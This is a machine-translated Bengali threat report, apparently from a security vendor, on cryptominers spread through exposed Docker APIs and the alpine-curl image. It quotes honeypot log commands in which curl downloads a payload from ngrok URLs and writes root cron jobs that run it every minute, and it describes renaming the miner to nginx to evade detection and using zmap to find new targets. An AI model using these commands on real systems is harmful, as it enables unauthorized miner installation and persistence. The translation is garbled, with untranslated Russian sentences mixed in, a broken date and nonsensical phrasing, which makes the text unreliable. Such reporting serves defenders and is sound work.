কীভাবে নন-প্রাইভেট ডকার এপিআই এবং সম্প্রদায়ের পাবলিক ছবিগুলি ক্রিপ্টোকারেন্সি মাইনারদের বিতরণের জন্য ব্যবহার করা হচ্ছে

আমরা হানিপট কন্টেনার ব্যবহার করে সংগৃহীত ডেটা বিশ্লেষণ করেছি, যেটি আমরা হুমকি ট্র্যাক করার জন্য তৈরি করেছি। এবং আমরা ডকার হাবে একটি সম্প্রদায়-প্রকাশিত চিত্র ব্যবহার করে দুর্বৃত্ত কন্টেইনার হিসাবে মোতায়েন করা অবাঞ্ছিত বা অননুমোদিত ক্রিপ্টোকারেন্সি খনির থেকে উল্লেখযোগ্য কার্যকলাপ সনাক্ত করেছি। ইমেজটি এমন একটি পরিষেবার অংশ হিসাবে ব্যবহৃত হয় যা দূষিত ক্রিপ্টোকারেন্সি মাইনারদের সরবরাহ করে।

অতিরিক্তভাবে, নেটওয়ার্কগুলির সাথে কাজ করার জন্য প্রোগ্রামগুলি খোলা প্রতিবেশী পাত্রে এবং অ্যাপ্লিকেশনগুলিতে প্রবেশ করতে ইনস্টল করা হয়।

আমরা আমাদের হানিপটগুলিকে সেইভাবে রেখে দিই, অর্থাৎ ডিফল্ট সেটিংস সহ, কোনো নিরাপত্তা ব্যবস্থা বা অতিরিক্ত সফ্টওয়্যার পরবর্তী ইনস্টলেশন ছাড়াই। দয়া করে মনে রাখবেন যে ডকারের ত্রুটি এবং সাধারণ দুর্বলতাগুলি এড়াতে প্রাথমিক সেটআপের জন্য সুপারিশ রয়েছে। কিন্তু ব্যবহৃত মধুর পটগুলি হল কন্টেইনার, কনটেইনারাইজেশন প্ল্যাটফর্মের লক্ষ্যে আক্রমণ শনাক্ত করার জন্য ডিজাইন করা হয়েছে, পাত্রে থাকা অ্যাপ্লিকেশনগুলি নয়।

সনাক্ত করা দূষিত কার্যকলাপটিও উল্লেখযোগ্য কারণ এটির দুর্বলতার প্রয়োজন নেই এবং এটি ডকার সংস্করণ থেকেও স্বাধীন। একটি ভুলভাবে কনফিগার করা, এবং সেইজন্য খোলা, কন্টেইনার ইমেজ খুঁজে পাওয়া যা আক্রমণকারীদের অনেকগুলি খোলা সার্ভারকে সংক্রমিত করতে হবে।

আনক্লোজড ডকার এপিআই ব্যবহারকারীকে বিস্তৃত পরিসর সম্পাদন করতে দেয় দল, চলমান কন্টেইনারগুলির একটি তালিকা পাওয়া, একটি নির্দিষ্ট ধারক থেকে লগ পাওয়া, শুরু করা, বন্ধ করা (জোর করে সহ) এবং এমনকি নির্দিষ্ট সেটিংস সহ একটি নির্দিষ্ট চিত্র থেকে একটি নতুন ধারক তৈরি করা সহ।

বাম দিকে ম্যালওয়্যার বিতরণ পদ্ধতি। ডানদিকে আক্রমণকারীর পরিবেশ রয়েছে, যা দূরবর্তী চিত্রগুলিকে রোল আউট করার অনুমতি দেয়৷

3762টি ওপেন ডকার API-এর দেশ অনুসারে বিতরণ। 12.02.2019/XNUMX/XNUMX তারিখের Shodan অনুসন্ধানের উপর ভিত্তি করে

অ্যাটাক চেইন এবং পেলোড অপশন

দূষিত কার্যকলাপ শুধুমাত্র মধুর সাহায্যে সনাক্ত করা হয়নি। শোডানের ডেটা দেখায় যে মোনেরো ক্রিপ্টোকারেন্সি মাইনিং সফ্টওয়্যার স্থাপন করার জন্য সেতু হিসাবে ব্যবহৃত একটি ভুল কনটেইনারের তদন্ত করার পর থেকে উন্মুক্ত ডকার API-এর সংখ্যা (দ্বিতীয় গ্রাফ দেখুন) বেড়েছে। গত বছরের অক্টোবরে (2018, বর্তমান তথ্য আপনি এই মত দেখতে পারেন প্রায়. অনুবাদক) শুধুমাত্র 856টি খোলা API ছিল।

হানিপট লগগুলির একটি পরীক্ষায় দেখা গেছে যে ধারক চিত্রের ব্যবহারও এর ব্যবহারের সাথে যুক্ত ছিল ngrok, নিরাপদ সংযোগ স্থাপন বা সর্বজনীনভাবে অ্যাক্সেসযোগ্য পয়েন্ট থেকে নির্দিষ্ট ঠিকানা বা সংস্থানগুলিতে ট্র্যাফিক ফরওয়ার্ড করার জন্য একটি সরঞ্জাম (উদাহরণস্বরূপ লোকালহোস্ট)। এটি আক্রমণকারীদের একটি খোলা সার্ভারে পেলোড সরবরাহ করার সময় গতিশীলভাবে URL তৈরি করতে দেয়। নিচে ngrok পরিষেবার অপব্যবহার দেখানো লগ থেকে কোড উদাহরণ রয়েছে:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

আপনি দেখতে পাচ্ছেন, আপলোড করা ফাইলগুলি ক্রমাগত পরিবর্তনশীল URL থেকে ডাউনলোড করা হয়৷ এই URLগুলির একটি ছোট মেয়াদ শেষ হওয়ার তারিখ রয়েছে, তাই মেয়াদ শেষ হওয়ার তারিখের পরে পেলোডগুলি ডাউনলোড করা যাবে না৷

Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.

ড্রপার স্ক্রিপ্ট দুটি ভেরিয়েবল সেট করে, যেগুলো পরে ক্রিপ্টোকারেন্সি মাইনার স্থাপন করতে ব্যবহৃত হয়। HOST ভেরিয়েবলে সেই URL থাকে যেখানে দূষিত ফাইলগুলি থাকে এবং RIP ভেরিয়েবল হল খননকারীর ফাইলের নাম (আসলে, হ্যাশ)। প্রতিবার হ্যাশ ভেরিয়েবল পরিবর্তিত হলে HOST ভেরিয়েবল পরিবর্তিত হয়। স্ক্রিপ্টটি চেক করার চেষ্টা করে যে আক্রমণ করা সার্ভারে অন্য কোনও ক্রিপ্টোকারেন্সি মাইনার চলছে না।

HOST এবং RIP ভেরিয়েবলের উদাহরণ, সেইসাথে একটি কোড স্নিপেট যা অন্য কোন খনির কাজ করছে কিনা তা পরীক্ষা করতে ব্যবহৃত হয়

Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.

অনুসন্ধান স্ক্রিপ্ট এছাড়াও বৈশিষ্ট্য আছে. এটি প্রয়োজনীয় সরঞ্জামগুলি স্থাপন করতে একই URL পরিষেবার সাথে কাজ করে৷ তাদের মধ্যে রয়েছে zmap বাইনারি, যা নেটওয়ার্ক স্ক্যান করতে এবং খোলা পোর্টের তালিকা পেতে ব্যবহৃত হয়। স্ক্রিপ্টটি আরও একটি বাইনারি লোড করে যা পাওয়া পরিষেবাগুলির সাথে ইন্টারঅ্যাক্ট করতে এবং পাওয়া পরিষেবা সম্পর্কে অতিরিক্ত তথ্য নির্ধারণ করতে তাদের থেকে ব্যানার গ্রহণ করতে ব্যবহৃত হয় (উদাহরণস্বরূপ, এর সংস্করণ)।

স্ক্রিপ্টটি স্ক্যান করার জন্য কিছু নেটওয়ার্ক রেঞ্জও পূর্ব-নির্ধারিত করে, তবে এটি স্ক্রিপ্টের সংস্করণের উপর নির্ভর করে। এটি পরিষেবাগুলি থেকে লক্ষ্য পোর্টগুলিও সেট করে - এই ক্ষেত্রে, ডকার - স্ক্যান চালানোর আগে।

Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, কুবারনেটস মাস্টার, ডকার 1.16 ক্লায়েন্ট এবং Apache CouchDB। যদি স্ক্যান করা সার্ভারটি তাদের যেকোনো একটির সাথে মিলে যায় তবে এটি একটি টেক্সট ফাইলে সংরক্ষিত হয়, যা আক্রমণকারীরা পরবর্তীতে বিশ্লেষণ এবং হ্যাকিংয়ের জন্য ব্যবহার করতে পারে। এই টেক্সট ফাইলগুলি আক্রমণকারীদের সার্ভারে ডায়নামিক লিঙ্কের মাধ্যমে আপলোড করা হয়। অর্থাৎ, প্রতিটি ফাইলের জন্য একটি পৃথক URL ব্যবহার করা হয়, যার মানে পরবর্তী অ্যাক্সেস কঠিন।

আক্রমণ ভেক্টরটি একটি ডকার ইমেজ, যেমনটি কোডের পরবর্তী দুটি অংশে দেখা যাবে।

শীর্ষে একটি বৈধ পরিষেবাতে নামকরণ করা হচ্ছে এবং নীচে নেটওয়ার্কগুলি স্ক্যান করতে কীভাবে zmap ব্যবহার করা হয়

শীর্ষে পূর্বনির্ধারিত নেটওয়ার্ক রেঞ্জ রয়েছে, নীচে ডকার সহ পরিষেবাগুলি অনুসন্ধানের জন্য নির্দিষ্ট পোর্ট রয়েছে

স্ক্রিনশট দেখায় যে আলপাইন-কারল ছবিটি 10 ​​মিলিয়নেরও বেশি বার ডাউনলোড করা হয়েছে

На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать ডকার ইমেজ. আপনি আগের ছবিতে দেখতে পাচ্ছেন, এই ছবিটি ইতিমধ্যে 10 মিলিয়নেরও বেশি বার ডাউনলোড করা হয়েছে। বিপুল সংখ্যক ডাউনলোডের অর্থ হতে পারে এই ছবিটিকে একটি এন্ট্রি পয়েন্ট হিসাবে ব্যবহার করা; এই চিত্রটি ছয় মাসেরও বেশি আগে আপডেট করা হয়েছিল; ব্যবহারকারীরা এই সংগ্রহস্থল থেকে প্রায়শই অন্যান্য ছবি ডাউনলোড করেননি। ডকারে এন্ট্রি পয়েন্ট - এটি চালানোর জন্য একটি ধারক কনফিগার করতে ব্যবহৃত নির্দেশাবলীর একটি সেট। যদি এন্ট্রি পয়েন্ট সেটিংস ভুল হয় (উদাহরণস্বরূপ, ধারকটি ইন্টারনেট থেকে খোলা রাখা হয়), চিত্রটি আক্রমণ ভেক্টর হিসাবে ব্যবহার করা যেতে পারে। আক্রমণকারীরা একটি পেলোড সরবরাহ করতে এটি ব্যবহার করতে পারে যদি তারা একটি ভুল কনফিগার করা বা খোলা কন্টেইনার অসমর্থিত অবস্থায় খুঁজে পায়।

এটি লক্ষ করা গুরুত্বপূর্ণ যে এই চিত্রটি (আলপাইন-কারল) নিজেই দূষিত নয়, তবে আপনি উপরে দেখতে পাচ্ছেন, এটি দূষিত ফাংশন সম্পাদন করতে ব্যবহার করা যেতে পারে। অনুরূপ ডকার ইমেজ এছাড়াও দূষিত কার্যকলাপ সম্পাদন করতে ব্যবহার করা যেতে পারে. আমরা ডকারের সাথে যোগাযোগ করেছি এবং এই বিষয়ে তাদের সাথে কাজ করেছি।

সুপারিশ

ভুল সেটিং দেহাবশেষ ধ্রুবক সমস্যা অনেক কোম্পানির জন্য, বিশেষ করে যারা বাস্তবায়ন করছে DevOps, দ্রুত উন্নয়ন এবং বিতরণ উপর দৃষ্টি নিবদ্ধ করা. নিরীক্ষা এবং পর্যবেক্ষণের নিয়মগুলি মেনে চলার প্রয়োজনীয়তা, ডেটা গোপনীয়তা নিরীক্ষণের প্রয়োজনীয়তা এবং সেইসাথে তাদের অ-সম্মতি থেকে প্রচুর ক্ষতির কারণে সবকিছু আরও খারাপ হয়। উন্নয়ন লাইফসাইকেলে নিরাপত্তা অটোমেশন অন্তর্ভুক্ত করা শুধুমাত্র নিরাপত্তার গর্ত খুঁজে পেতে সাহায্য করে না যা অন্যথায় সনাক্ত করা যায় না, তবে এটি আপনাকে অপ্রয়োজনীয় কাজের চাপ কমাতেও সাহায্য করে, যেমন একটি অ্যাপ্লিকেশন স্থাপন করার পরে প্রতিটি আবিষ্কৃত দুর্বলতা বা ভুল কনফিগারেশনের জন্য অতিরিক্ত সফ্টওয়্যার বিল্ড চালানো।

এই নিবন্ধে আলোচিত ঘটনাটি নিম্নলিখিত সুপারিশগুলি সহ, শুরু থেকেই সুরক্ষা বিবেচনা করার প্রয়োজনীয়তা তুলে ধরে:

• সিস্টেম অ্যাডমিনিস্ট্রেটর এবং ডেভেলপারদের জন্য: সর্বদা আপনার API সেটিংস পরীক্ষা করে নিশ্চিত করুন যে সবকিছু শুধুমাত্র একটি নির্দিষ্ট সার্ভার বা অভ্যন্তরীণ নেটওয়ার্ক থেকে অনুরোধ গ্রহণ করার জন্য কনফিগার করা হয়েছে।
• সর্বনিম্ন অধিকারের নীতি অনুসরণ করুন: কনটেইনার ছবিগুলি স্বাক্ষরিত এবং যাচাই করা হয়েছে তা নিশ্চিত করুন, গুরুত্বপূর্ণ উপাদানগুলিতে অ্যাক্সেস সীমিত করুন (কন্টেইনার লঞ্চ পরিষেবা) এবং নেটওয়ার্ক সংযোগগুলিতে এনক্রিপশন যুক্ত করুন৷
• অনুসরণ করুন সুপারিশ এবং নিরাপত্তা ব্যবস্থা সক্রিয় করুন, যেমন ডকার থেকে এবং অন্তর্নির্মিত নিরাপত্তা বৈশিষ্ট্য.
• কন্টেইনারে চলমান প্রক্রিয়াগুলি সম্পর্কে অতিরিক্ত তথ্য পেতে রানটাইম এবং চিত্রগুলির স্বয়ংক্রিয় স্ক্যানিং ব্যবহার করুন (উদাহরণস্বরূপ, স্পুফিং সনাক্ত করতে বা দুর্বলতাগুলি অনুসন্ধান করতে)। অ্যাপ্লিকেশন নিয়ন্ত্রণ এবং অখণ্ডতা পর্যবেক্ষণ সার্ভার, ফাইল এবং সিস্টেম এলাকায় অস্বাভাবিক পরিবর্তন ট্র্যাক করতে সাহায্য করে।

Trendmicro DevOps টিমগুলিকে নিরাপদে তৈরি করতে, দ্রুত রোল আউট করতে এবং যে কোনও জায়গায় চালু করতে সাহায্য করে৷ ট্রেন্ড মাইক্রো হাইব্রিড ক্লাউড নিরাপত্তা একটি প্রতিষ্ঠানের DevOps পাইপলাইন জুড়ে শক্তিশালী, সুবিন্যস্ত এবং স্বয়ংক্রিয় নিরাপত্তা প্রদান করে এবং একাধিক হুমকি প্রতিরক্ষা প্রদান করে এক্সজেন রানটাইমে শারীরিক, ভার্চুয়াল এবং ক্লাউড ওয়ার্কলোড রক্ষা করতে। এর সাথে কন্টেইনার নিরাপত্তাও যোগ করে গভীর নিরাপত্তা и গভীর নিরাপত্তা স্মার্ট চেক, যা ডেভেলপমেন্ট পাইপলাইনের যেকোন সময়ে ম্যালওয়্যার এবং দুর্বলতার জন্য ডকার কন্টেইনার ইমেজগুলি স্ক্যান করে যাতে সেগুলি স্থাপন করার আগে হুমকিগুলি প্রতিরোধ করা যায়৷

সমঝোতার লক্ষণ

সম্পর্কিত হ্যাশ:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

মধ্যে ডকার ভিডিও কোর্স অনুশীলনকারী বক্তারা দেখায় যে সম্ভাব্যতা কমাতে বা উপরে বর্ণিত পরিস্থিতির ঘটনাকে সম্পূর্ণরূপে এড়াতে প্রথমে কী সেটিংস তৈরি করা দরকার। এবং 19-21 আগস্ট একটি অনলাইন নিবিড় এ DevOps টুলস এবং চিট আপনি এই এবং অনুরূপ নিরাপত্তা সমস্যাগুলি সহকর্মী এবং অনুশীলনকারী শিক্ষকদের সাথে একটি গোল টেবিলে আলোচনা করতে পারেন, যেখানে প্রত্যেকে কথা বলতে পারে এবং অভিজ্ঞ সহকর্মীদের কষ্ট এবং সাফল্য শুনতে পারে।

উত্স: www.habr.com